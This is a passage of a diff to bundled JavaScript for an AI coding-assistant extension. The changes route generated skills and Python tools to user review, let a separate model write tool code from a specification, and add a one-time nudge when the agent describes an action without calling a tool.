].join("\n");
|
|
61559
|
+
}
|
|
61226
61560
|
function renderSkillsForPrompt(skills) {
|
|
61227
61561
|
if (skills.length === 0)
|
|
61228
61562
|
return "";
|
|
@@ -61281,8 +61615,19 @@ function createWriteSkillTool(context) {
|
|
|
61281
61615
|
async execute(params) {
|
|
61282
61616
|
try {
|
|
61283
61617
|
const filePath = await resolveSkillPath(context.skillsDir, params.name);
|
|
61284
|
-
const
|
|
61285
|
-
|
|
61618
|
+
const before = await readIfPresent(filePath);
|
|
61619
|
+
const existed = before.length > 0;
|
|
61620
|
+
const rendered = renderSkill(params.name, params.description, params.body);
|
|
61621
|
+
if (context.submitForReview !== void 0) {
|
|
61622
|
+
return {
|
|
61623
|
+
content: await context.submitForReview({
|
|
61624
|
+
name: params.name,
|
|
61625
|
+
content: rendered,
|
|
61626
|
+
existingContent: before
|
|
61627
|
+
})
|
|
61628
|
+
};
|
|
61629
|
+
}
|
|
61630
|
+
await fs9.writeFile(filePath, rendered, "utf8");
|
|
61286
61631
|
await context.onChanged();
|
|
61287
61632
|
return {
|
|
61288
61633
|
content: `${existed ? "Updated" : "Recorded"} the skill "${params.name}" at ${filePath}.
|
|
@@ -61323,12 +61668,12 @@ import fs12 from "node:fs/promises";
|
|
|
61323
61668
|
import path16 from "node:path";
|
|
61324
61669
|
|
|
61325
61670
|
// ../../packages/core/dist/python/registry.js
|
|
61326
|
-
import
|
|
61671
|
+
import crypto4 from "node:crypto";
|
|
61327
61672
|
import fs10 from "node:fs/promises";
|
|
61328
61673
|
import path14 from "node:path";
|
|
61329
61674
|
var REGISTRY_FILE = ".registry.json";
|
|
61330
61675
|
function hashSource(source) {
|
|
61331
|
-
return
|
|
61676
|
+
return crypto4.createHash("sha256").update(source.replace(/\r\n/g, "\n")).digest("hex");
|
|
61332
61677
|
}
|
|
61333
61678
|
function isValidToolName(name) {
|
|
61334
61679
|
return /^[a-z][a-z0-9_]{0,63}$/.test(name);
|
|
@@ -61484,6 +61829,10 @@ var createParams = external_exports.object({
|
|
|
61484
61829
|
name: external_exports.string().describe("Tool name: lowercase letters, digits and underscores. Becomes py__<name> and <name>.py."),
|
|
61485
61830
|
source: external_exports.string().describe("The complete Python file. Must define `run`. Use type hints \u2014 the parameter schema is derived from them. The module docstring becomes the tool description; document parameters in a Google-style Args: block. Declare dependencies in a PEP 723 inline block if you need any.")
|
|
61486
61831
|
});
|
|
61832
|
+
var specifyParams = external_exports.object({
|
|
61833
|
+
name: external_exports.string().describe("Tool name: lowercase letters, digits and underscores. Becomes py__<name> and <name>.py."),
|
|
61834
|
+
specification: external_exports.string().describe("What the tool must do, in prose. A model configured for code writes the file from this; you do not write Python here. Say what it takes, what it returns, and any library or endpoint it must use. The user approves the generated source before anything runs.")
|
|
61835
|
+
});
|
|
61487
61836
|
var deleteParams2 = external_exports.object({
|
|
61488
61837
|
name: external_exports.string().describe("The tool to remove.")
|
|
61489
61838
|
});
|
|
@@ -61502,11 +61851,34 @@ async function readIfPresent2(filePath) {
|
|
|
61502
61851
|
}
|
|
61503
61852
|
}
|
|
61504
61853
|
function makeWriteTool(context, options) {
|
|
61854
|
+
const generator = context.generateSource;
|
|
61855
|
+
const pending = /* @__PURE__ */ new Map();
|
|
61856
|
+
const sourceFor = async (params) => {
|
|
61857
|
+
if (generator === void 0 || params.specification === void 0) {
|
|
61858
|
+
return { source: params.source };
|
|
61859
|
+
}
|
|
61860
|
+
const key = `${params.name}::${params.specification}`;
|
|
61861
|
+
let inFlight = pending.get(key);
|
|
61862
|
+
if (inFlight === void 0) {
|
|
61863
|
+
const toolPath = resolveToolPath(context.toolsDir, params.name);
|
|
61864
|
+
inFlight = (async () => {
|
|
61865
|
+
const before = await readIfPresent2(await toolPath);
|
|
61866
|
+
const generated = await generator({
|
|
61867
|
+
toolName: params.name,
|
|
61868
|
+
specification: params.specification ?? "",
|
|
61869
|
+
...before.length > 0 ? { existingSource: before } : {}
|
|
61870
|
+
});
|
|
61871
|
+
return { source: unwrapFencedSource(generated.source), producedBy: generated.producedBy };
|
|
61872
|
+
})();
|
|
61873
|
+
pending.set(key, inFlight);
|
|
61874
|
+
}
|
|
61875
|
+
return inFlight;
|
|
61876
|
+
};
|
|
61505
61877
|
return {
|
|
61506
61878
|
name: options.name,
|
|
61507
61879
|
group: "edit",
|
|
61508
61880
|
description: options.description,
|
|
61509
|
-
parametersSchema: createParams,
|
|
61881
|
+
parametersSchema: generator !== void 0 ? specifyParams : createParams,
|
|
61510
61882
|
/**
|
|
61511
61883
|
* A real diff of the real file: its current content against exactly the bytes that
|
|
61512
61884
|
* will be written. Not a summary and not the model's account of what it wrote
|
|
@@ -61516,7 +61888,14 @@ function makeWriteTool(context, options) {
|
|
|
61516
61888
|
async preview(params) {
|
|
61517
61889
|
const filePath = await resolveToolPath(context.toolsDir, params.name);
|
|
61518
61890
|
const before = await readIfPresent2(filePath);
|
|
61519
|
-
|
|
61891
|
+
const { source, producedBy } = await sourceFor(params);
|
|
61892
|
+
return {
|
|
61893
|
+
kind: "diff",
|
|
61894
|
+
path: filePath,
|
|
61895
|
+
before,
|
|
61896
|
+
after: source,
|
|
61897
|
+
...producedBy !== void 0 ? { note: `Written by ${producedBy}` } : {}
|
|
61898
|
+
};
|
|
61520
61899
|
},
|
|
61521
61900
|
async execute(params) {
|
|
61522
61901
|
try {
|
|
@@ -61531,15 +61910,26 @@ function makeWriteTool(context, options) {
|
|
|
61531
61910
|
isError: true
|
|
61532
61911
|
};
|
|
61533
61912
|
}
|
|
61913
|
+
const { source, producedBy } = await sourceFor(params);
|
|
61914
|
+
if (context.submitForReview !== void 0) {
|
|
61915
|
+
return {
|
|
61916
|
+
content: await context.submitForReview({
|
|
61917
|
+
name: params.name,
|
|
61918
|
+
content: source,
|
|
61919
|
+
existingContent: before,
|
|
61920
|
+
...producedBy !== void 0 ? { producedBy } : {}
|
|
61921
|
+
})
|
|
61922
|
+
};
|
|
61923
|
+
}
|
|
61534
61924
|
await fs11.mkdir(context.toolsDir, { recursive: true });
|
|
61535
|
-
await fs11.writeFile(filePath,
|
|
61925
|
+
await fs11.writeFile(filePath, source, "utf8");
|
|
61536
61926
|
const restore = async () => {
|
|
61537
61927
|
if (before.length > 0)
|
|
61538
61928
|
await fs11.writeFile(filePath, before, "utf8");
|
|
61539
61929
|
else
|
|
61540
61930
|
await fs11.rm(filePath, { force: true });
|
|
61541
61931
|
};
|
|
61542
|
-
const declared = parseInlineDependencies(
|
|
61932
|
+
const declared = parseInlineDependencies(source);
|
|
61543
61933
|
if (declared.length > 0) {
|
|
61544
61934
|
if (context.installDeps === void 0) {
|
|
61545
61935
|
await restore();
|
|
@@ -61567,7 +61957,7 @@ ${message}
|
|
|
61567
61957
|
|
|
61568
61958
|
${traceback ?? ""}`.trim(), isError: true };
|
|
61569
61959
|
}
|
|
61570
|
-
await approveTool(context.toolsDir, params.name,
|
|
61960
|
+
await approveTool(context.toolsDir, params.name, source, described);
|
|
61571
61961
|
await context.onChanged();
|
|
61572
61962
|
return {
|
|
61573
61963
|
content: `Saved and registered as py__${params.name}.
|
|
@@ -61731,7 +62121,7 @@ var PythonManager = class {
|
|
|
61731
62121
|
return;
|
|
61732
62122
|
}
|
|
61733
62123
|
try {
|
|
61734
|
-
const env2 = minimalPythonEnv();
|
|
62124
|
+
const env2 = minimalPythonEnv(this.options.sessionEnv?.() ?? {});
|
|
61735
62125
|
let interpreter;
|
|
61736
62126
|
if (config2.venvPath !== void 0 && config2.venvPath.trim().length > 0) {
|
|
61737
62127
|
this.venvPath = config2.venvPath.trim();
|
|
@@ -61828,8 +62218,10 @@ var PythonManager = class {
|
|
|
61828
62218
|
return [];
|
|
61829
62219
|
const worker = this.worker;
|
|
61830
62220
|
const uv = this.uv;
|
|
62221
|
+
const generated = this.options.generateSource?.();
|
|
61831
62222
|
const context = {
|
|
61832
62223
|
toolsDir: this.toolsDir,
|
|
62224
|
+
...generated !== void 0 ? { generateSource: generated } : {},
|
|
61833
62225
|
worker,
|
|
61834
62226
|
onChanged: () => this.refresh(),
|
|
61835
62227
|
...uv !== void 0 ? {
|
|
@@ -61840,7 +62232,7 @@ var PythonManager = class {
|
|
|
61840
62232
|
...this.indexUrl !== void 0 ? { indexUrl: this.indexUrl } : {},
|
|
61841
62233
|
extraIndexUrls: this.extraIndexUrls,
|
|
61842
62234
|
offline: this.offline,
|
|
61843
|
-
env: minimalPythonEnv()
|
|
62235
|
+
env: minimalPythonEnv(this.options.sessionEnv?.() ?? {})
|
|
61844
62236
|
})
|
|
61845
62237
|
} : {}
|
|
61846
62238
|
};
|
|
@@ -62246,6 +62638,31 @@ function renderDocsMatches(options, matches) {
|
|
|
62246
62638
|
}).filter((rendered) => rendered !== void 0).join("\n\n");
|
|
62247
62639
|
}
|
|
62248
62640
|
|
|
62641
|
+
// ../../packages/core/dist/agent/unfinished.js
|
|
62642
|
+
var MAX_PREAMBLE_LENGTH = 400;
|
|
62643
|
+
var FORWARD_LOOKING = /^(let me\b|let's\b|i'?ll\b|i will\b|i'?m going to\b|going to\b|now i\b|next,? i\b|first,? i\b|starting\b|beginning\b)/i;
|
|
62644
|
+
var HANDING_BACK = /^(let me know\b|let us know\b|i'?ll be happy\b|i'?ll wait\b|i'?ll stand by\b|let me know if\b|i'?ll leave\b)/i;
|
|
62645
|
+
function lastSentence(text) {
|
|
62646
|
+
const trimmed = text.trim();
|
|
62647
|
+
const parts = trimmed.split(/(?<=[.!?])\s+/);
|
|
62648
|
+
return (parts[parts.length - 1] ?? trimmed).trim();
|
|
62649
|
+
}
|
|
62650
|
+
function looksUnfinished(text) {
|
|
62651
|
+
const trimmed = text.trim();
|
|
62652
|
+
if (trimmed.length === 0 || trimmed.length > MAX_PREAMBLE_LENGTH)
|
|
62653
|
+
return false;
|
|
62654
|
+
if (trimmed.endsWith("?"))
|
|
62655
|
+
return false;
|
|
62656
|
+
if (trimmed.endsWith(":"))
|
|
62657
|
+
return true;
|
|
62658
|
+
const last = lastSentence(trimmed);
|
|
62659
|
+
if (HANDING_BACK.test(last))
|
|
62660
|
+
return false;
|
|
62661
|
+
return FORWARD_LOOKING.test(last);
|
|
62662
|
+
}
|
|
62663
|
+
var CONTINUE_PROMPT = "You described what you were about to do but did not call a tool, so nothing happened. If you meant to act, call the tool now. If you were already finished, call attempt_completion with a summary instead.";
|
|
62664
|
+
var MAX_CONTINUE_NUDGES = 1;
|
|
62665
|
+
|
|
62249
62666
|
// ../../packages/core/dist/agent/truncate.js
|
|
62250
62667
|
import { randomUUID as randomUUID2 } from "node:crypto";
|
|
62251
62668
|
import fs13 from "node:fs/promises";
|
|
@@ -62486,6 +62903,7 @@ async function runAgentTurn(provider, conversation, userMessage, toolRegistry, t
|
|
|
62486
62903
|
conversation.addUserMessage(userMessage, options.images);
|
|
62487
62904
|
const maxIterations = options.maxIterations ?? DEFAULT_MAX_ITERATIONS;
|
|
62488
62905
|
const mistakeCounts = /* @__PURE__ */ new Map();
|
|
62906
|
+
let continueNudges = 0;
|
|
62489
62907
|
const mode = options.mode ?? CODE_MODE;
|
|
62490
62908
|
const tools = toToolDefinitions(toolsForMode(toolRegistry, mode));
|
|
62491
62909
|
let checkpointTaken = false;
|
|
@@ -62519,12 +62937,18 @@ async function runAgentTurn(provider, conversation, userMessage, toolRegistry, t
|
|
|
62519
62937
|
return;
|
|
62520
62938
|
}
|
|
62521
62939
|
if (toolCall === void 0) {
|
|
62522
|
-
if (assistantText.length
|
|
62523
|
-
conversation.addAssistantMessage(assistantText);
|
|
62524
|
-
events.onDone();
|
|
62525
|
-
} else {
|
|
62940
|
+
if (assistantText.length === 0) {
|
|
62526
62941
|
events.onError("The provider finished without returning any text. Check the base URL and model name, and that the endpoint supports streaming chat completions.");
|
|
62942
|
+
return;
|
|
62527
62943
|
}
|
|
62944
|
+
conversation.addAssistantMessage(assistantText);
|
|
62945
|
+
if (continueNudges < MAX_CONTINUE_NUDGES && looksUnfinished(assistantText)) {
|
|
62946
|
+
continueNudges++;
|
|
62947
|
+
conversation.addUserMessage(CONTINUE_PROMPT);
|
|
62948
|
+
events.onNudgedToContinue?.();
|
|
62949
|
+
continue;
|
|
62950
|
+
}
|
|
62951
|
+
events.onDone();
|
|
62528
62952
|
return;
|
|
62529
62953
|
}
|
|
62530
62954
|
conversation.addAssistantMessage(assistantText, [toolCall]);
|
|
@@ -62639,17 +63063,17 @@ var WebviewApprovalGate = class {
|
|
|
62639
63063
|
// ../../packages/core/dist/platform/node/filesystem.js
|
|
62640
63064
|
import fs14 from "node:fs/promises";
|
|
62641
63065
|
var NodeFileSystem = class {
|
|
62642
|
-
async readFile(
|
|
62643
|
-
return fs14.readFile(
|
|
63066
|
+
async readFile(path29) {
|
|
63067
|
+
return fs14.readFile(path29, "utf8");
|
|
62644
63068
|
}
|
|
62645
|
-
async readBytes(
|
|
62646
|
-
return fs14.readFile(
|
|
63069
|
+
async readBytes(path29) {
|
|
63070
|
+
return fs14.readFile(path29);
|
|
62647
63071
|
}
|
|
62648
|
-
async readBytesSlice(
|
|
63072
|
+
async readBytesSlice(path29, start, end) {
|
|
62649
63073
|
const length = Math.max(0, end - start);
|
|
62650
63074
|
if (length === 0)
|
|
62651
63075
|
return Buffer.alloc(0);
|
|
62652
|
-
const handle = await fs14.open(
|
|
63076
|
+
const handle = await fs14.open(path29, "r");
|
|
62653
63077
|
try {
|
|
62654
63078
|
const buffer = Buffer.alloc(length);
|
|
62655
63079
|
const { bytesRead } = await handle.read(buffer, 0, length, start);
|
|
@@ -62658,11 +63082,11 @@ var NodeFileSystem = class {
|
|
|
62658
63082
|
await handle.close();
|
|
62659
63083
|
}
|
|
62660
63084
|
}
|
|
62661
|
-
async writeFile(
|
|
62662
|
-
await fs14.writeFile(
|
|
63085
|
+
async writeFile(path29, contents) {
|
|
63086
|
+
await fs14.writeFile(path29, contents, "utf8");
|
|
62663
63087
|
}
|
|
62664
|
-
async stat(
|
|
62665
|
-
const stat = await fs14.lstat(
|
|
63088
|
+
async stat(path29) {
|
|
63089
|
+
const stat = await fs14.lstat(path29);
|
|
62666
63090
|
return {
|
|
62667
63091
|
size: stat.size,
|
|
62668
63092
|
mtimeMs: stat.mtimeMs,
|
|
@@ -62671,8 +63095,8 @@ var NodeFileSystem = class {
|
|
|
62671
63095
|
isSymbolicLink: stat.isSymbolicLink()
|
|
62672
63096
|
};
|
|
62673
63097
|
}
|
|
62674
|
-
async readdir(
|
|
62675
|
-
const entries = await fs14.readdir(
|
|
63098
|
+
async readdir(path29) {
|
|
63099
|
+
const entries = await fs14.readdir(path29, { withFileTypes: true });
|
|
62676
63100
|
return entries.map((entry) => ({
|
|
62677
63101
|
name: entry.name,
|
|
62678
63102
|
isFile: entry.isFile(),
|
|
@@ -62680,16 +63104,16 @@ var NodeFileSystem = class {
|
|
|
62680
63104
|
isSymbolicLink: entry.isSymbolicLink()
|
|
62681
63105
|
}));
|
|
62682
63106
|
}
|
|
62683
|
-
async exists(
|
|
63107
|
+
async exists(path29) {
|
|
62684
63108
|
try {
|
|
62685
|
-
await fs14.access(
|
|
63109
|
+
await fs14.access(path29);
|
|
62686
63110
|
return true;
|
|
62687
63111
|
} catch {
|
|
62688
63112
|
return false;
|
|
62689
63113
|
}
|
|
62690
63114
|
}
|
|
62691
|
-
async mkdir(
|
|
62692
|
-
await fs14.mkdir(
|
|
63115
|
+
async mkdir(path29) {
|
|
63116
|
+
await fs14.mkdir(path29, { recursive: true });
|
|
62693
63117
|
}
|
|
62694
63118
|
};
|
|
62695
63119
|
|
|
@@ -62967,11 +63391,25 @@ function wireChatBridge(services) {
|
|
|
62967
63391
|
workspaceRoot,
|
|
62968
63392
|
storageDir,
|
|
62969
63393
|
logger,
|
|
63394
|
+
// Read at worker spawn, so a changed variable applies to the next worker rather than being
|
|
63395
|
+
// frozen at construction. Added to the allowlist in minimalPythonEnv, never a way past it.
|
|
63396
|
+
...services.sessionEnv !== void 0 ? { sessionEnv: services.sessionEnv } : {},
|
|
63397
|
+
...services.submitForReview !== void 0 ? {
|
|
63398
|
+
submitForReview: (request) => services.submitForReview?.({ kind: "python-tool", ...request }) ?? Promise.resolve("")
|
|
63399
|
+
} : {},
|
|
63400
|
+
/*
|
|
63401
|
+
* A resolver, not a generator: the tool's *parameters* change shape depending on whether one
|
|
63402
|
+
* is configured — specification versus source — so the answer is needed when the tool list is
|
|
63403
|
+
* built, not when it is called. Refreshed by `loadSettings`, which runs before every turn, so
|
|
63404
|
+
* changing the profile mid-session takes effect on the next message.
|
|
63405
|
+
*/
|
|
63406
|
+
generateSource: () => cachedCodeGenerator,
|
|
62970
63407
|
// A tool created, updated or deleted during a chat changes both the Python tab and the
|
|
62971
63408
|
// documentation corpus. `postPython` refreshes the tab and schedules the reindex.
|
|
62972
63409
|
onToolsChanged: () => {
|
|
62973
63410
|
void postPython();
|
|
62974
63411
|
void postSchedules();
|
|
63412
|
+
void postTools();
|
|
62975
63413
|
}
|
|
62976
63414
|
});
|
|
62977
63415
|
const defaultSkillsDir = workspaceRoot !== void 0 ? path19.join(workspaceRoot, ".lightcode", "skills") : void 0;
|
|
@@ -63205,9 +63643,13 @@ function wireChatBridge(services) {
|
|
|
63205
63643
|
postExpertSpend();
|
|
63206
63644
|
}
|
|
63207
63645
|
let cachedModeId;
|
|
63646
|
+
let cachedCodeGenerator;
|
|
63647
|
+
let cachedProgrammingProfileId;
|
|
63208
63648
|
async function loadSettings() {
|
|
63209
63649
|
const { config: config2 } = await configManager.load();
|
|
63210
63650
|
cachedApprovals = config2.approvals?.[approvalsKey] ?? {};
|
|
63651
|
+
cachedCodeGenerator = codeGeneratorFor(config2);
|
|
63652
|
+
cachedProgrammingProfileId = config2.programmingProfileId;
|
|
63211
63653
|
cachedModeId = config2.modeId;
|
|
63212
63654
|
cachedMaxIterations = config2.maxIterations ?? 25;
|
|
63213
63655
|
cachedAccentColor = config2.ui?.accentColor ?? "#22C55E";
|
|
@@ -63233,9 +63675,17 @@ function wireChatBridge(services) {
|
|
|
63233
63675
|
maxIterations: cachedMaxIterations,
|
|
63234
63676
|
accentColor: cachedAccentColor,
|
|
63235
63677
|
expertColor: cachedExpertColor,
|
|
63236
|
-
readRoots: cachedReadRoots
|
|
63678
|
+
readRoots: cachedReadRoots,
|
|
63679
|
+
...cachedProgrammingProfileId !== void 0 ? { programmingProfileId: cachedProgrammingProfileId } : {},
|
|
63680
|
+
...guideCapability()
|
|
63237
63681
|
});
|
|
63238
63682
|
}
|
|
63683
|
+
function guideCapability() {
|
|
63684
|
+
return {
|
|
63685
|
+
nativeGuide: ui.openWalkthrough !== void 0,
|
|
63686
|
+
...services.guideMediaBase !== void 0 ? { guideMediaBase: services.guideMediaBase } : {}
|
|
63687
|
+
};
|
|
63688
|
+
}
|
|
63239
63689
|
const userGate = new WebviewApprovalGate(post);
|
|
63240
63690
|
const approvalGate = new PolicyApprovalGate(userGate, () => cachedApprovals);
|
|
63241
63691
|
let mcpJson = '{\n "mcpServers": {}\n}';
|
|
@@ -63248,6 +63698,7 @@ function wireChatBridge(services) {
|
|
|
63248
63698
|
onStateChanged: () => {
|
|
63249
63699
|
postMcp();
|
|
63250
63700
|
void postSchedules();
|
|
63701
|
+
void postTools();
|
|
63251
63702
|
scheduleDocsReindex("MCP tools changed");
|
|
63252
63703
|
}
|
|
63253
63704
|
}, logger, () => cachedApprovals.allowedTools ?? []);
|
|
@@ -63265,7 +63716,7 @@ function wireChatBridge(services) {
|
|
|
63265
63716
|
platform: process.platform === "win32" ? "win32" : "posix"
|
|
63266
63717
|
});
|
|
63267
63718
|
}
|
|
63268
|
-
function currentToolRegistry(expert, search, codebase, docs, dispatcher = false) {
|
|
63719
|
+
function currentToolRegistry(expert, search, codebase, docs, dispatcher = false, hideSkills = false) {
|
|
63269
63720
|
const combined = new ToolRegistry();
|
|
63270
63721
|
for (const tool of builtinTools.list())
|
|
63271
63722
|
combined.register(tool);
|
|
@@ -63295,7 +63746,13 @@ function wireChatBridge(services) {
|
|
|
63295
63746
|
}
|
|
63296
63747
|
}));
|
|
63297
63748
|
if (skillsDir !== void 0) {
|
|
63298
|
-
const context = {
|
|
63749
|
+
const context = {
|
|
63750
|
+
skillsDir,
|
|
63751
|
+
onChanged: refreshSkills,
|
|
63752
|
+
...services.submitForReview !== void 0 ? {
|
|
63753
|
+
submitForReview: (request) => services.submitForReview?.({ kind: "skill", ...request }) ?? Promise.resolve("")
|
|
63754
|
+
} : {}
|
|
63755
|
+
};
|
|
63299
63756
|
combined.register(createWriteSkillTool(context));
|
|
63300
63757
|
combined.register(createDeleteSkillTool(context));
|
|
63301
63758
|
}
|
|
@@ -63311,8 +63768,12 @@ function wireChatBridge(services) {
|
|
|
63311
63768
|
if (codebase !== void 0) {
|
|
63312
63769
|
combined.register(createSearchCodebaseTool({ ...codebase, observer: searchLog }));
|
|
63313
63770
|
}
|
|
63314
|
-
|
|
63771
|
+
const hasHiddenTools = dispatcher && combined.dispatchOnlyList().length > 0;
|
|
63772
|
+
const hasHiddenSkills = hideSkills && skills.length > 0;
|
|
63773
|
+
if (hasHiddenTools) {
|
|
63315
63774
|
combined.register(createCallToolTool());
|
|
63775
|
+
}
|
|
63776
|
+
if (dispatcher && (hasHiddenTools || hasHiddenSkills)) {
|
|
63316
63777
|
combined.register(createForgetDocsTool());
|
|
63317
63778
|
combined.register(createSearchDocsTool({
|
|
63318
63779
|
// Resolved per call, so a tool registered later in this same function is still
|
|
@@ -63522,12 +63983,26 @@ function wireChatBridge(services) {
|
|
|
63522
63983
|
await refreshSkills();
|
|
63523
63984
|
const activeMode = findMode(config2.modeId);
|
|
63524
63985
|
const scheduledGuidance = schedule === void 0 ? void 0 : scheduledRunGuidance(schedule, filterToolsForSchedule(currentToolRegistry(void 0, void 0, void 0, void 0, false).list(), schedule).map((tool) => tool.name).filter((name) => name !== "attempt_completion"));
|
|
63986
|
+
const skillsSearchable = skillRetrievalEnabled(config2.retrieval) && schedule === void 0;
|
|
63987
|
+
const turnSkills = schedule === void 0 ? skills : skillsForSchedule(skills, schedule.allowedSkills);
|
|
63525
63988
|
const desiredPrompt = buildSystemPrompt(workspaceRoot, {
|
|
63526
63989
|
model: profile.model,
|
|
63527
63990
|
providerLabel: profile.label,
|
|
63528
63991
|
expertAvailable: expertCliInfo !== void 0,
|
|
63529
|
-
|
|
63992
|
+
/*
|
|
63993
|
+
* Either the whole list or a count and an instruction to search — never both, and
|
|
63994
|
+
* never neither. `renderSkillsHintForPrompt` explains why the count stays.
|
|
63995
|
+
*/
|
|
63996
|
+
skills: skillsSearchable ? renderSkillsHintForPrompt(skills.length) : renderSkillsForPrompt(turnSkills),
|
|
63997
|
+
skillsSearchable,
|
|
63530
63998
|
canWriteSkills: skillsDir !== void 0,
|
|
63999
|
+
/*
|
|
64000
|
+
* Read from config rather than from the registry, because the prompt is built before the
|
|
64001
|
+
* registry is. Only the *off* case is claimed: "on but uv is missing" leaves the model
|
|
64002
|
+
* equally toolless, but the Python tab reports that with the actual reason, and telling
|
|
64003
|
+
* the user to switch on something already switched on would be worse than saying nothing.
|
|
64004
|
+
*/
|
|
64005
|
+
pythonToolsDisabled: config2.python?.dynamicTools !== "on",
|
|
63531
64006
|
/*
|
|
63532
64007
|
* Junior mode's instructions are worse than useless without the expert to delegate
|
|
63533
64008
|
* to: the model would be told to consult something it has no tool for. The picker
|
|
@@ -63556,6 +64031,9 @@ function wireChatBridge(services) {
|
|
|
63556
64031
|
denylist,
|
|
63557
64032
|
readFiles,
|
|
63558
64033
|
readRoots: cachedReadRoots,
|
|
64034
|
+
// Resolved per turn by the host, so an edit applies to the next command rather than
|
|
64035
|
+
// needing a new session. Absent in the extension, where there is nothing to resolve.
|
|
64036
|
+
...services.sessionEnv !== void 0 ? { sessionEnv: services.sessionEnv() } : {},
|
|
63559
64037
|
/*
|
|
63560
64038
|
* Omitted for a scheduled run: there is nobody to answer, and a run that could grant
|
|
63561
64039
|
* itself new filesystem access would defeat the point of its allowlist.
|
|
@@ -63618,7 +64096,8 @@ function wireChatBridge(services) {
|
|
|
63618
64096
|
* behind a search that could never find them.
|
|
63619
64097
|
*/
|
|
63620
64098
|
search !== void 0 && embedder !== void 0 && docsIndex !== void 0 ? { searcher: search.searcher, embedder, index: docsIndex } : void 0,
|
|
63621
|
-
config2.retrieval
|
|
64099
|
+
dispatcherEnabled(config2.retrieval),
|
|
64100
|
+
skillsSearchable
|
|
63622
64101
|
);
|
|
63623
64102
|
const turnRegistry = schedule !== void 0 ? registryForSchedule(fullRegistry.list(), schedule) : fullRegistry;
|
|
63624
64103
|
if (schedule !== void 0) {
|
|
@@ -63629,6 +64108,9 @@ function wireChatBridge(services) {
|
|
|
63629
64108
|
post({ type: "contextUsage", usage: { ...breakdown, supersededCount, compactedCount } });
|
|
63630
64109
|
},
|
|
63631
64110
|
onCompacted: (summarisedCount) => post({ type: "compacted", summarisedCount }),
|
|
64111
|
+
onNudgedToContinue: () => {
|
|
64112
|
+
logger.warn("the model described an action without calling a tool; asked it to continue");
|
|
64113
|
+
},
|
|
63632
64114
|
onQueuedMessageConsumed: (text2) => {
|
|
63633
64115
|
post({ type: "queuedMessageConsumed", text: text2 });
|
|
63634
64116
|
cumulativeText = "";
|
|
@@ -64117,15 +64599,22 @@ function wireChatBridge(services) {
|
|
|
64117
64599
|
}
|
|
64118
64600
|
}
|
|
64119
64601
|
let indexingAbort;
|
|
64602
|
+
async function saveRetrieval(patch) {
|
|
64603
|
+
const { config: config2 } = await configManager.load();
|
|
64604
|
+
await configManager.save("user", { retrieval: { ...config2.retrieval, ...patch } });
|
|
64605
|
+
}
|
|
64120
64606
|
async function postDispatcher() {
|
|
64121
64607
|
const { config: config2 } = await configManager.load();
|
|
64122
|
-
|
|
64123
|
-
const
|
|
64608
|
+
await refreshSkills();
|
|
64609
|
+
const enabled = dispatcherEnabled(config2.retrieval);
|
|
64610
|
+
const hidden = currentToolRegistry(void 0, void 0, void 0, void 0, true, true).dispatchOnlyList().length;
|
|
64124
64611
|
const index = docsIndexName(config2);
|
|
64125
64612
|
post({
|
|
64126
64613
|
type: "dispatcher",
|
|
64127
64614
|
enabled,
|
|
64128
64615
|
hiddenTools: hidden,
|
|
64616
|
+
skills: skillRetrievalEnabled(config2.retrieval),
|
|
64617
|
+
hiddenSkills: skills.length,
|
|
64129
64618
|
...index !== void 0 ? { docsIndex: index } : {}
|
|
64130
64619
|
});
|
|
64131
64620
|
}
|
|
@@ -64737,6 +65226,28 @@ function wireChatBridge(services) {
|
|
|
64737
65226
|
post({ type: "error", message: error51 instanceof Error ? error51.message : String(error51) });
|
|
64738
65227
|
}
|
|
64739
65228
|
}
|
|
65229
|
+
function codeGeneratorFor(config2) {
|
|
65230
|
+
const id = config2.programmingProfileId;
|
|
65231
|
+
if (id === void 0 || id.length === 0)
|
|
65232
|
+
return void 0;
|
|
65233
|
+
const profile = config2.profiles?.find((candidate) => candidate.id === id);
|
|
65234
|
+
if (profile === void 0) {
|
|
65235
|
+
logger.warn(`programming provider "${id}" is configured but no such profile exists; the chat model will write tool source`);
|
|
65236
|
+
return void 0;
|
|
65237
|
+
}
|
|
65238
|
+
return async (request) => {
|
|
65239
|
+
const provider = createChatProvider(profile, httpClient, authStrategyFor(config2, profile), logger);
|
|
65240
|
+
let text = "";
|
|
65241
|
+
for await (const chunk of provider.streamChat([{ role: "user", content: buildCodeGenerationPrompt(request) }], {
|
|
65242
|
+
// No tools offered: it is being asked for a file, and offering tools invites it to use one.
|
|
65243
|
+
...request.signal !== void 0 ? { signal: request.signal } : {}
|
|
65244
|
+
})) {
|
|
65245
|
+
if (chunk.type === "text")
|
|
65246
|
+
text += chunk.text;
|
|
65247
|
+
}
|
|
65248
|
+
return { source: text, producedBy: profile.label };
|
|
65249
|
+
};
|
|
65250
|
+
}
|
|
64740
65251
|
async function postSettings() {
|
|
64741
65252
|
await loadSettings();
|
|
64742
65253
|
post({
|
|
@@ -64746,7 +65257,8 @@ function wireChatBridge(services) {
|
|
|
64746
65257
|
maxIterations: cachedMaxIterations,
|
|
64747
65258
|
accentColor: cachedAccentColor,
|
|
64748
65259
|
expertColor: cachedExpertColor,
|
|
64749
|
-
readRoots: cachedReadRoots
|
|
65260
|
+
readRoots: cachedReadRoots,
|
|
65261
|
+
...guideCapability()
|
|
64750
65262
|
});
|
|
64751
65263
|
}
|
|
64752
65264
|
async function handleAlwaysAllow(id, scope) {
|
|
@@ -65033,6 +65545,16 @@ function wireChatBridge(services) {
|
|
|
65033
65545
|
void handleSetMode(message.modeId);
|
|
65034
65546
|
} else if (message.type === "setMaxIterations") {
|
|
65035
65547
|
void configManager.save("user", { maxIterations: message.value }).then(() => postSettings()).catch((error51) => post({ type: "error", message: String(error51) }));
|
|
65548
|
+
} else if (message.type === "setProgrammingProfile") {
|
|
65549
|
+
void configManager.load().then(async ({ config: config2 }) => {
|
|
65550
|
+
const next = { ...config2 };
|
|
65551
|
+
if (message.id.length === 0)
|
|
65552
|
+
delete next.programmingProfileId;
|
|
65553
|
+
else
|
|
65554
|
+
next.programmingProfileId = message.id;
|
|
65555
|
+
await configManager.save("user", next);
|
|
65556
|
+
await postSettings();
|
|
65557
|
+
}).catch((error51) => post({ type: "error", message: String(error51) }));
|
|
65036
65558
|
} else if (message.type === "setReadRoots") {
|
|
65037
65559
|
void configManager.save("user", {
|
|
65038
65560
|
filesystem: { readRoots: message.roots.map((root) => root.trim()).filter((root) => root.length > 0) }
|
|
@@ -65100,11 +65622,17 @@ function wireChatBridge(services) {
|
|
|
65100
65622
|
} else if (message.type === "clearSearchLog") {
|
|
65101
65623
|
searchLog.clear();
|
|
65102
65624
|
} else if (message.type === "setDispatcher") {
